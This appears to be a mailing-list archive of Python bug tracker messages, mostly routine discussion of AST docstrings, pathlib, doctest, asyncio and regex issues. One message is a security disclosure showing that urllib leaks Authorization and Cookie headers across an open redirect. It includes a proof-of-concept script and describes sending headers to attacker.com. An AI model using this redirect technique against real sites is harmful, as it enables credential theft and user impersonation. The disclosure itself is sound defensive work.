add code to either inject the docstring as body[0] (if the docstring is set), or else to extract and set the docstring based on body[0] Since CPython's own AST optimizer works at the C API layer, we then wouldn't need to revert any of the changes that relied on the separation of the docstring out to its own attribute. At the Python level, some differences would still be visible though: - there'd be a node for the docstring in the AST, but the value would still be optimised out of the resulting code object - the first line number of code objects would still change to be that of the first non-docstring line - the synthesised docstring node would always claim to be the line before the first non-docstring line (since escape characters mean we can't just count line feeds in the docstring) Given the complexity of the required changes to the ASDL code generator, and the Python level API differences that would still remain, I think Serhiy's full reversion patch is going to be the more reliable option at this late stage of the release process. While it isn't nice for the folks that already adapted their code to cope with the earlier beta releases, it's the lowest risk approach that lets us get 3.7.0 out the door without unintended consequences, while allowing the issue to be revisited for 3.8 with greater awareness of the potential backwards compatibility and code migration issues. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 03:19:23 2018 From: report at bugs.python.org (INADA Naoki) Date: Sun, 27 May 2018 07:19:23 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527405563.7.0.682650639539.issue32911@psf.upfronthosting.co.za> INADA Naoki added the comment: I'm +1 on PR-7121 too. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 03:33:16 2018 From: report at bugs.python.org (Ned Deily) Date: Sun, 27 May 2018 07:33:16 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527406395.99.0.682650639539.issue32911@psf.upfronthosting.co.za> Ned Deily added the comment: OK, since I believe everyone who has spoken up so far has chosen B or a variation on it, I think we can eliminate option A. And there also seems to be a consensus so far among the core developers who have spoken up for the approach in PR 7121. Before we commit to it and produce 3.7.0b5, I really would like to hear from at least one of the downsteamers that this approach seems OK for 3.7.0. mbussonn? MIN RK? Thank you all for your (prompt) help so far with this! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 04:19:54 2018 From: report at bugs.python.org (Benjamin Ragan-Kelley) Date: Sun, 27 May 2018 08:19:54 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527409194.96.0.682650639539.issue32911@psf.upfronthosting.co.za> Benjamin Ragan-Kelley added the comment: That should work well for us. Our patches for this are all conditional on the module body being empty, so reverting causes us no issues at all. Thank you! ---------- nosy: +Benjamin Ragan-Kelley _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 04:48:51 2018 From: report at bugs.python.org (Ales Kvapil) Date: Sun, 27 May 2018 08:48:51 +0000 Subject: [issue22493] Deprecate the use of flags not at the start of regular expression In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za> Message-ID: <1527410931.63.0.682650639539.issue22493@psf.upfronthosting.co.za> Ales Kvapil added the comment: Maybe there should be introduced some method to merge patterns as just piping patterns will not work: pats = [r'(?m)^line.continues$', r'(?s)begin.*?end'] re.compile('|'.join(pats)) ---------- nosy: +aleskva _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 04:53:27 2018 From: report at bugs.python.org (Ales Kvapil) Date: Sun, 27 May 2018 08:53:27 +0000 Subject: [issue33658] Introduce a method to concatenate regex patterns Message-ID: <1527411207.29.0.682650639539.issue33658@psf.upfronthosting.co.za> New submission from Ales Kvapil : After removing inline flags (deprecated in https://bugs.python.org/issue22493) piping patterns will not work: pats = [r'(?m)^line.continues$', r'(?s)begin.*?end'] re.compile('|'.join(pats)) Maybe there should be introduced some method to merge patterns (similar to re.escape)? ---------- components: Regular Expressions messages: 317787 nosy: aleskva, ezio.melotti, mrabarnett priority: normal severity: normal status: open title: Introduce a method to concatenate regex patterns type: enhancement versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 04:53:56 2018 From: report at bugs.python.org (Ales Kvapil) Date: Sun, 27 May 2018 08:53:56 +0000 Subject: [issue22493] Deprecate the use of flags not at the start of regular expression In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za> Message-ID: <1527411236.84.0.682650639539.issue22493@psf.upfronthosting.co.za> Ales Kvapil added the comment: See also https://bugs.python.org/issue33658 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 05:48:37 2018 From: report at bugs.python.org (lekma) Date: Sun, 27 May 2018 09:48:37 +0000 Subject: [issue33659] leak in pythonrun.c? Message-ID: <1527414517.04.0.682650639539.issue33659@psf.upfronthosting.co.za> New submission from lekma : Am I wrong in thinking 'filename_obj' should be decrefed before the last two return statements in set_main_loader()? If yes, what am I missing? ---------- components: Interpreter Core messages: 317789 nosy: lekma priority: normal severity: normal status: open title: leak in pythonrun.c? type: behavior versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 06:58:33 2018 From: report at bugs.python.org (QbLearningPython) Date: Sun, 27 May 2018 10:58:33 +0000 Subject: [issue33660] pathlib.Path.resolve() returns path with double slash when resolving a relative path in root directory Message-ID: <1527418713.03.0.682650639539.issue33660@psf.upfronthosting.co.za> New submission from QbLearningPython : I have recently found a weird behaviour while trying to resolve a relative path located on the root directory on a macOs. I tried to resolve a Path('spam') and the interpreter answered PosixPath('//spam') ?double slash for root? instead of (my) expected PosixPath('/spam'). I think that this is a bug. I ran the interpreter from root directory (cd /; python). Once running the interpreter, this is what I did: >>> import pathlib >>> pathlib.Path.cwd() PosixPath('/') # since the interpreter has been launched from root >>> p = pathlib.Path('spam') >>> p PosixPath('spam') # just for checking >>> p.resolve() PosixPath('//spam') # beware of double slash instead of single slash I also checked the behaviour of Path.resolve() in a non-root directory (in my case launching the interpreter from /Applications). >>> import pathlib >>> pathlib.Path.cwd() PosixPath('/Applications') >>> p = pathlib.Path('eggs') >>> p PosixPath('eggs') >>> p.resolve() PosixPath('/Applications/eggs') # just one slash as root in this case (as should be) So it seems that double slashes just appear while resolving relative paths in the root directory. More examples are: >>> pathlib.Path('spam/egg').resolve() PosixPath('//spam/egg') >>> pathlib.Path('./spam').resolve() PosixPath('//spam') >>> pathlib.Path('./spam/egg').resolve() PosixPath('//spam/egg') but >>> pathlib.Path('').resolve() PosixPath('/') >>> pathlib.Path('.').resolve() PosixPath('/') Intriguingly, >>> pathlib.Path('spam').resolve().resolve() PosixPath('/spam') # 'spam'.resolve = '//spam' # '//spam'.resolve = '/spam'!!! >>> pathlib.Path('//spam').resolve() PosixPath('/spam') I have found the same behaviour in several Python versions: Python 3.6.5 (default, May 15 2018, 08:20:57) [GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.1)] on darwin Python 3.4.8 (default, Mar 29 2018, 16:18:25) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)] on darwin Python 3.5.5 (default, Mar 29 2018, 16:22:58) [GCC 4.2.1 Compatible Apple LLVM 9.0.0 (clang-900.0.39.2)] on darwin Python 3.7.0b4 (default, May 4 2018, 22:01:49) [Clang 9.1.0 (clang-902.0.39.1)] on darwin All running on: macOs High Sierra 10.13.4 (17E202) There is also confirmation of same issue on Ubuntu 16.04 (Python 3.5.2) and Opensuse tumbleweed (Python 3.6.5) I have searched for some information on this issue but I did not found anything useful. Python docs (https://docs.python.org/3/library/pathlib.html) talks about "UNC shares" but this is not the case (in using a macOs HFS+ filesystem). PEP 428 (https://www.python.org/dev/peps/pep-0428/) says: Multiple leading slashes are treated differently depending on the path flavour. They are always retained on Windows paths (because of the UNC notation): >>> PureWindowsPath('//some/path') PureWindowsPath('//some/path/') On POSIX, they are collapsed except if there are exactly two leading slashes, which is a special case in the POSIX specification on pathname resolution [8] (this is also necessary for Cygwin compatibility): >>> PurePosixPath('///some/path') PurePosixPath('/some/path') >>> PurePosixPath('//some/path') PurePosixPath('//some/path') I do not think that this is related to the aforementioned issue. However, I also checked the POSIX specification link (http://pubs.opengroup.org/onlinepubs/009...#tag_04_11) and found: A pathname that begins with two successive slashes may be interpreted in an implementation-defined manner, although more than two leading slashes shall be treated as a single slash. I do not really think that this can cause a double slashes while resolving a relative path on macOs. So, I think that this issue could be a real bug in pathlib.Path.resolve() method. Specifically on POSIX flavour. A user of Python Forum (killerrex) and I have traced the bugs to Lib/pathlib.py:319 in the Python 3.6 repository https://github.com/python/cpython/blob/3...pathlib.py. Specifically, in line 319: newpath = path + sep + name For pathlib.Path('spam').resolve() in the root directory, newpath is '//spam' since: path is '/' sep is '/' name is 'spam' killerrex has suggested two solutions: 1) from line 345 base = '' if path.is_absolute() else os.getcwd() if base == sep: base = '' return _resolve(base, str(path)) or sep 2) from line 319: if path.endswith(sep): newpath = path + name else: newpath = path + sep + name Thank you. ---------- components: Library (Lib) messages: 317790 nosy: QbLearningPython priority: normal severity: normal status: open title: pathlib.Path.resolve() returns path with double slash when resolving a relative path in root directory type: behavior versions: Python 3.4, Python 3.5, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 07:17:24 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Sun, 27 May 2018 11:17:24 +0000 Subject: [issue33635] OSError when using pathlib.Path.rglob() to list device files In-Reply-To: <1527164127.59.0.682650639539.issue33635@psf.upfronthosting.co.za> Message-ID: <1527419844.23.0.682650639539.issue33635@psf.upfronthosting.co.za> Ronald Oussoren added the comment: This is fairly odd behaviour of macOS, the same error can be seen from a bash session: $ stat /dev/fd/3 stat: /dev/fd/3: stat: Bad file descriptor The reason os.walk() works while the Path().is_file doesn't is that os.walk() explicitly guards against OSError exceptions raised by os.stat(). Looking at the documentation this could be seen as a bug in macOS, as the manual page for stat(2) doesn't mention EBADF as a valid error for this system call. I'm not sure at this point if we should add a workaround for this. An actual patch would be easy enough, "just" add EBADF to the list of ignored errno values in the implementation of is_file (and related method) in pathlib.py ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 07:19:29 2018 From: report at bugs.python.org (Thrlwiti) Date: Sun, 27 May 2018 11:19:29 +0000 Subject: [issue33658] Introduce a method to concatenate regex patterns In-Reply-To: <1527411207.29.0.682650639539.issue33658@psf.upfronthosting.co.za> Message-ID: <1527419969.5.0.682650639539.issue33658@psf.upfronthosting.co.za> Change by Thrlwiti : ---------- nosy: +THRlWiTi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 08:52:41 2018 From: report at bugs.python.org (lekma) Date: Sun, 27 May 2018 12:52:41 +0000 Subject: [issue33659] leak in pythonrun.c? In-Reply-To: <1527414517.04.0.682650639539.issue33659@psf.upfronthosting.co.za> Message-ID: <1527425561.46.0.682650639539.issue33659@psf.upfronthosting.co.za> lekma added the comment: sorry, my mistake, I missed the format specifier in PyObject_CallFunction() sorry for the noise ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:20:06 2018 From: report at bugs.python.org (Artem Smotrakov) Date: Sun, 27 May 2018 14:20:06 +0000 Subject: [issue33661] urllib may leak sensitive HTTP headers to a third-party web site Message-ID: <1527430806.55.0.682650639539.issue33661@psf.upfronthosting.co.za> New submission from Artem Smotrakov : After discussing it on security at python.org, it was decided to disclose it. Here is the original report: Hello Python Security Team, Looks like urllib may leak sensitive HTTP headers to third parties when handling redirects. Let's consider the following environment: - http://httpleak.gypsyengineer.com/index.php asks a user to authenticate via basic HTTP authentication scheme - http://httpleak.gypsyengineer.com/redirect.php?url= is an open redirect which returns 301 code, and redirects a client to the specified URL - http://headers.gypsyengineer.com just prints out all HTTP headers which a web browser sent Let's then consider the following scenario: - create an instance of urllib.request.Request to open 'http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com' - call urllib.request.Request.add_header() method to set Authorization and Cookie headers - call urllib.request.urlopen() method to open a connection Here is what happens next: - urllib sends the HTTP authentication header to httpleak.gypsyengineer.com as expected - redirect.php returns 301 code which redirects to headers.gypsyengineer.com (note that httpleak.gypsyengineer.com and headers.gypsyengineer.com are different domains) - urllib processes 301 code and makes a request to http://headers.gypsyengineer.com The problem is that urllib sends the Authorization and Cookie headers headers to http://headers.gypsyengineer.com as well. Let's imagine that a user is authenticated on a web site via one of HTTP authentication schemes (basic, digest, NTLM, SPNEGO/Kerberos), and the web site has an open redirect like http://httpleak.gypsyengineer.com/redirect.php If an attacker can trick the user to open http://httpleak.gypsyengineer.com/redirect.php?url=http://attacker.com, then urllib is going to send sensitive headers to http://attacker.com where the attacker can gather them. As a result, the attacker can imporsonate the user on the original web site. Here is a simple POC which shows the problem: import urllib.request req = urllib.request.Request('http://httpleak.gypsyengineer.com/redirect.php?url=http://headers.gypsyengineer.com') req.add_header('Authorization', 'Basic YWRtaW46dGVzdA==') req.add_header('Cookie', 'This is only for httpleak.gypsyengineer.com'); with urllib.request.urlopen(req) as f: print(f.read(2048).decode("utf-8")) Running this code results to loading http://headers.gypsyengineer.com which prints out Authorization and Cookie headers which are supposed to be sent only to httpleak.gypsyengineer.com: Hello, I am headers.gypsyengineer.com

Here are HTTP headers you just sent me:

Accept-Encoding: identity
User-Agent: Python-urllib/3.8
Authorization: Basic YWRtaW46dGVzdA==
Cookie: This is only for httpleak.gypsyengineer.com
Host: headers.gypsyengineer.com
Cache-Control: max-age=259200
Connection: keep-alive
I could reproduce it with 3.5.2, and latest build of https://github.com/python/cpython If I am not missing something, it would be better if urllib filtered out sensitive HTTP headers while handling redirects. Please let me know if I wrote anything dumb and stupid, or if you have any questions :) Thanks! Artem ---------- components: Library (Lib) messages: 317793 nosy: alex, artem.smotrakov priority: normal severity: normal status: open title: urllib may leak sensitive HTTP headers to a third-party web site type: security versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:21:00 2018 From: report at bugs.python.org (Alex Gaynor) Date: Sun, 27 May 2018 14:21:00 +0000 Subject: [issue33661] urllib may leak sensitive HTTP headers to a third-party web site In-Reply-To: <1527430806.55.0.682650639539.issue33661@psf.upfronthosting.co.za> Message-ID: <1527430860.03.0.682650639539.issue33661@psf.upfronthosting.co.za> Change by Alex Gaynor : ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:24:21 2018 From: report at bugs.python.org (Roundup Robot) Date: Sun, 27 May 2018 14:24:21 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527431061.53.0.682650639539.issue18307@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6772 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:26:32 2018 From: report at bugs.python.org (Roundup Robot) Date: Sun, 27 May 2018 14:26:32 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527431192.94.0.682650639539.issue18307@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6773 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:27:47 2018 From: report at bugs.python.org (Roundup Robot) Date: Sun, 27 May 2018 14:27:47 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527431267.04.0.682650639539.issue18307@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- pull_requests: +6774 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:27:52 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Sun, 27 May 2018 14:27:52 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527431272.67.0.682650639539.issue33012@psf.upfronthosting.co.za> Xavier de Gaye added the comment: > But the problem is that additional flags can be used, e.g. METH_CLASS. Right, https://docs.python.org/3/c-api/structures.html says: "The individual flags indicate either a calling convention or a binding convention". This may be overcome by introducing another macro with 2 arguments, the second argument being used to set the binding convention flag: #define SET_METH_VARARGS_KEYWORDS_FLAG(func, flag) \ (PyCFunction)(void *)(PyCFunctionWithKeywords)func, METH_VARARGS|METH_KEYWORDS|flag #define SET_METH_VARARGS_KEYWORDS(func) SET_METH_VARARGS_KEYWORDS_FLAG(func, 0x0000) The refactoring would be quite large though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:51:30 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 27 May 2018 14:51:30 +0000 Subject: [issue33409] Clarify the interaction between locale coercion & UTF-8 mode In-Reply-To: <1525260822.94.0.682650639539.issue33409@psf.upfronthosting.co.za> Message-ID: <1527432690.19.0.682650639539.issue33409@psf.upfronthosting.co.za> Nick Coghlan added the comment: Ned, just adding you to the nosy list here, as I don't think this is a release blocker per se (since nothing's actually *broken*), but the current state of the PEP 538/540 docs is such that it isn't going to be clear to most readers why both mechanisms exist, or how they interact with each other. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 10:54:42 2018 From: report at bugs.python.org (Vitaly Murashev) Date: Sun, 27 May 2018 14:54:42 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527432882.98.0.682650639539.issue18307@psf.upfronthosting.co.za> Vitaly Murashev added the comment: > Vitaly, in the future please use gender-neutral words Mariatta, OK, got it, I am sorry for that. I am not a native speaker. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 11:35:19 2018 From: report at bugs.python.org (Roundup Robot) Date: Sun, 27 May 2018 15:35:19 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527435319.13.0.682650639539.issue32832@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6775 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:09:44 2018 From: report at bugs.python.org (Matthias Kievernagel) Date: Sun, 27 May 2018 17:09:44 +0000 Subject: [issue3405] Add support for the new data option supported by event generate (Tk 8.5) In-Reply-To: <1216385566.01.0.7972232454.issue3405@psf.upfronthosting.co.za> Message-ID: <1527440984.52.0.682650639539.issue3405@psf.upfronthosting.co.za> Change by Matthias Kievernagel : ---------- pull_requests: +6776 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:09:54 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sun, 27 May 2018 17:09:54 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527440994.13.0.682650639539.issue33630@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: @serhiy.storchaka Is the race condition/freed memory reusage in the test suite or in the posix module? ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:10:09 2018 From: report at bugs.python.org (Vitaly Murashev) Date: Sun, 27 May 2018 17:10:09 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527441009.35.0.682650639539.issue18307@psf.upfronthosting.co.za> Change by Vitaly Murashev : ---------- versions: +Python 2.7, Python 3.7, Python 3.8 -Python 3.3, Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:14:54 2018 From: report at bugs.python.org (Vitaly Murashev) Date: Sun, 27 May 2018 17:14:54 +0000 Subject: [issue18307] Relative path in co_filename for zipped modules In-Reply-To: <1372256829.94.0.0966099631525.issue18307@psf.upfronthosting.co.za> Message-ID: <1527441294.79.0.682650639539.issue18307@psf.upfronthosting.co.za> Vitaly Murashev added the comment: Pull-requests for 2.7, 3.7 and master submitted on github, all tests look passed, so Python dev-team, please, take a look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:36:52 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 27 May 2018 17:36:52 +0000 Subject: [issue33598] ActiveState Recipes links in docs, and the apparent closure of Recipes In-Reply-To: <1526981626.86.0.682650639539.issue33598@psf.upfronthosting.co.za> Message-ID: <1527442612.59.0.682650639539.issue33598@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Marking this a closed. It can be reopened if ActiveState makes an announcement that they're actually going to kill the existing links. Otherwise, this is pure speculation and not an actual problem to be solved. ---------- resolution: -> later stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 13:58:56 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 27 May 2018 17:58:56 +0000 Subject: [issue33494] random.choices ought to check that cumulative weights are in ascending order In-Reply-To: <1526297798.91.0.682650639539.issue33494@psf.upfronthosting.co.za> Message-ID: <1527443936.17.0.682650639539.issue33494@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > or, for a minimal doc change, change this sentence: > "For example, the relative weights [10, 5, 30, 5] are > equivalent to the cumulative weights [10, 15, 45, 50]," > > to: > "For example, the relative call 'weights[10, 5, 30, 5]' > is equivalent to the cumulative call 'cum_weights[10, 15, 45, 50]'," Sorry, that doesn't seem like an improvement at all to me. Adding "call" just makes the sentence read awkwardly. Also, this week I did some user testing on the existing docs and didn't find a single case of misreading what "cumulative weights" meant. I'm marking this as closed. The suggestion was appreciated but adding additional input checks would defeat the entire purpose of the feature. The user testing suggest that the docs are okay as-is (and there are additional examples in the recipes section below). ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:00:55 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 27 May 2018 18:00:55 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527444055.77.0.682650639539.issue32832@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Tim, what do you say, feature or feature creep, straightforward patch or can of worms? ---------- assignee: -> tim.peters nosy: +rhettinger, tim.peters type: -> enhancement versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:13:22 2018 From: report at bugs.python.org (Ned Deily) Date: Sun, 27 May 2018 18:13:22 +0000 Subject: [issue33409] Clarify the interaction between locale coercion & UTF-8 mode In-Reply-To: <1525260822.94.0.682650639539.issue33409@psf.upfronthosting.co.za> Message-ID: <1527444802.3.0.682650639539.issue33409@psf.upfronthosting.co.za> Ned Deily added the comment: Nick, thanks for the notification. I assume this means you are planning to provide one or more updates. If so, any idea when? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:27:21 2018 From: report at bugs.python.org (Tim Peters) Date: Sun, 27 May 2018 18:27:21 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527445641.0.0.682650639539.issue32832@psf.upfronthosting.co.za> Tim Peters added the comment: doctest was intended to deal with the standard CPython terminal shell. I'd like to keep it that way, but recognize that everyone wants to change everything into "a framework" ;-) How many other shells are there? As Sergey linked to, IPython already dealt with its shell conventions, and PS1/PS2 differences account for a relatively tiny amount of the 600+ lines of IPython-customization code they'd need anyway. That is, I don't see that this would be of much value to IPython. So people who "need" this already figured out how to do this - and there aren't many of them anyway. I'd leave it alone. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:31:48 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 27 May 2018 18:31:48 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527445908.48.0.682650639539.issue33642@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- pull_requests: -6745 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:32:27 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 27 May 2018 18:32:27 +0000 Subject: [issue33642] IDLE: Use variable number of lines in CodeContext In-Reply-To: <1527208905.36.0.682650639539.issue33642@psf.upfronthosting.co.za> Message-ID: <1527445947.23.0.682650639539.issue33642@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Unlinked duplicate PR entry. I have no idea how that could happen. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:37:18 2018 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sun, 27 May 2018 18:37:18 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527446238.6.0.682650639539.issue32832@psf.upfronthosting.co.za> Sergey B Kirpichev added the comment: > doctest was intended to deal with the standard CPython terminal shell. I'd like to keep it that way The point is: ps1/ps2 customization could be considered as part of the standard shell. If stdlib allow such changes - doctest module should take this into account. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 14:52:57 2018 From: report at bugs.python.org (Tim Peters) Date: Sun, 27 May 2018 18:52:57 +0000 Subject: [issue32832] doctest should support custom ps1/ps2 prompts In-Reply-To: <1518443379.42.0.467229070634.issue32832@psf.upfronthosting.co.za> Message-ID: <1527447177.45.0.682650639539.issue32832@psf.upfronthosting.co.za> Tim Peters added the comment: Sergey, I understand that, but I don't care. The only people I've ever seen _use_ this are people writing an entirely different shell interface. They're rare. There's no value in complicating doctest to cater to theoretical use cases that don't exist - to the contrary, that's counterproductive complication. As your IPython example showed, their job is harder than _just_ replacing PS1/PS2. See their `parse()` function. They want to cater both to IPython's PS1/PS2 conventions _and_ to the standard CPython terminal shell PS1/PS2 conventions. But they don't cater to _more_ than just those either. Why should they? Same thing here: extra complication for no good reason. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 15:40:50 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sun, 27 May 2018 19:40:50 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527450050.26.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: Terry, you somehow deleted Christian from the nosy list. Christian, > It's failing reproducible with OpenSSL 1.1.1 and TLS 1.3 enabled. I haven't seen it failing with TLS 1.2 yet. On Linux or Windows? ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 15:41:12 2018 From: report at bugs.python.org (Christian Heimes) Date: Sun, 27 May 2018 19:41:12 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527450072.41.0.682650639539.issue32458@psf.upfronthosting.co.za> Christian Heimes added the comment: Linux ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 16:14:25 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sun, 27 May 2018 20:14:25 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527452065.06.0.682650639539.issue32458@psf.upfronthosting.co.za> Terry J. Reedy added the comment: 'deleted somehow': Christian added himself while I had this page open, so when I submitted without refreshing, the nosy list did not include him. When I saw the red warning, I did not notice the nosy list change; I should have. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 17:06:34 2018 From: report at bugs.python.org (Yuwei Ren) Date: Sun, 27 May 2018 21:06:34 +0000 Subject: [issue33601] [EASY DOC] Py_UTF8Mode is not documented In-Reply-To: <1526996981.47.0.682650639539.issue33601@psf.upfronthosting.co.za> Message-ID: <1527455194.88.0.682650639539.issue33601@psf.upfronthosting.co.za> Change by Yuwei Ren : ---------- keywords: +patch pull_requests: +6777 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 18:34:41 2018 From: report at bugs.python.org (skorpeo) Date: Sun, 27 May 2018 22:34:41 +0000 Subject: [issue33662] asyncio Stream Reader Blocks on read when data fetched is less than limit Message-ID: <1527460481.84.0.682650639539.issue33662@psf.upfronthosting.co.za> New submission from skorpeo : I humbly submit what I think may be a bug in the asyncio.StreamReader.read() function. When n=-1 is supplied and the data is less than self._limit the read function creates a future and never wakes it up. I believe the culprit is https://github.com/python/cpython/blob/9d3627e311211a1b4abcda29c36fe4afe2c46532/Lib/asyncio/streams.py#L632. To fix the issue a condition is added to break out of the loop if the data read is less than the limit. I can only attach one file so I am providing the fix here for asyncio streams.py: blocks.append(block) # existing if len(block) < self._limit: # new break # new I have also attached a test file that shows the blocking behavior which is alleviated with the above fix. Finally, I am not sure how to handle a situation where the data is exactly equal to the limit and no subsequent data is sent. ---------- components: asyncio files: pty_test.py messages: 317810 nosy: asvetlov, skorpeo, yselivanov priority: normal severity: normal status: open title: asyncio Stream Reader Blocks on read when data fetched is less than limit type: behavior versions: Python 3.6 Added file: https://bugs.python.org/file47615/pty_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 18:45:56 2018 From: report at bugs.python.org (Yury 